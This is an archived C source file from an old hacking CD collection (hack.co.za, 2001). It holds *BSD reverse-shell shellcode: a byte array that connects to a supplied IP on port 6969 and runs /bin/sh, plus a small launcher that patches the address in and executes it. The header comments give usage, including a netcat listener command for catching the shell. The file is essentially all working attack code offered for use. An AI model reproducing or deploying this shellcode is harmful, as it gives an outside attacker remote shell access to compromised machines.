home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / openbsd / reverse-shell.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-03-24  |  1.5 KB  |  65 lines

  1. /* reverse-portshell *BSD shellcode by noir       */
  2. /* local usage: ./reverse-shell 192.168.2.33      */
  3. /* remote:  nc -n -v -v -l -p 6969                */ 
  4. /* listen on 6969/tcp                  */
  5. /* noir@gsu.linux.org.tr              */
  6.  
  7. char shellcode[] = 
  8. {
  9.   0x31,0xc9,0x51,0x41,   
  10.   0x51,0x41,0x51,0x51,
  11.   0x31,0xc0,0xb0,0x61,
  12.   0xcd,0x80,0x89,0x07,
  13.   0x31,0xc9,0x88,0x4f, 
  14.   0x04,0xc6,0x47,0x05,
  15.   0x02,0xc7,0x47,0x08,
  16.   0xc0,0xa8,0x01,0x45, //ipaddr
  17.   0x66,0xc7,0x47,0x06,   
  18.   0x1b,0x39,0x6a,0x10,
  19.   0x8d,0x47,0x04,0x50,  
  20.   0x8b,0x07,0x50,0x50,
  21.   0x31,0xc0,0xb0,0x62,   
  22.   0xcd,0x80,0x31,0xc9,
  23.   0x51,0x8b,0x07,0x50,   
  24.   0x50,0x31,0xc0,0xb0,
  25.   0x5a,0xcd,0x80,0x41,   
  26.   0x83,0xf9,0x03,0x75,
  27.   0xef,0x31,0xc9,0x51,   
  28.   0x51,0x31,0xc0,0xb0,
  29.   0x17,0xcd,0x80,0xeb,   
  30.   0x23,0x5b,0x89,0x1f,
  31.   0x31,0xc9,0x88,0x4b,   
  32.   0x07,0x89,0x4f,0x04,
  33.   0x51,0x8d,0x07,0x50,   
  34.   0x8b,0x07,0x50,0x50,
  35.   0x31,0xc0,0xb0,0x3b,   
  36.   0xcd,0x80,0x31,0xc9,
  37.   0x51,0x51,0x31,0xc0,   
  38.   0xb0,0x01,0xcd,0x80,
  39.   0xe8,0xd8,0xff,0xff,   
  40.   0xff,0x2f,0x62,0x69,
  41.   0x6e,0x2f,0x73,0x68,   
  42.   0x41
  43. };
  44.  
  45. int
  46. main(int argc, char ** argv)
  47. {
  48.   void (*f) (void);
  49.   unsigned int d;
  50.  
  51.   if(!argv[0])
  52.     exit(0);
  53.  
  54.   d = inet_addr(argv[1]);
  55.   printf("IP: %lx shellcode len: %d\n", d, strlen(shellcode));
  56.  
  57.   shellcode[28] = d & 0xff ;
  58.   shellcode[29] = (d >> 8) & 0xff;
  59.   shellcode[30] = (d >> 16) & 0xff;
  60.   shellcode[31] = (d >> 24) & 0xff;
  61.  
  62.   f =  (void *) shellcode;
  63.   f();
  64. }
  65. /*                   www.hack.co.za  [20 march 2001]*/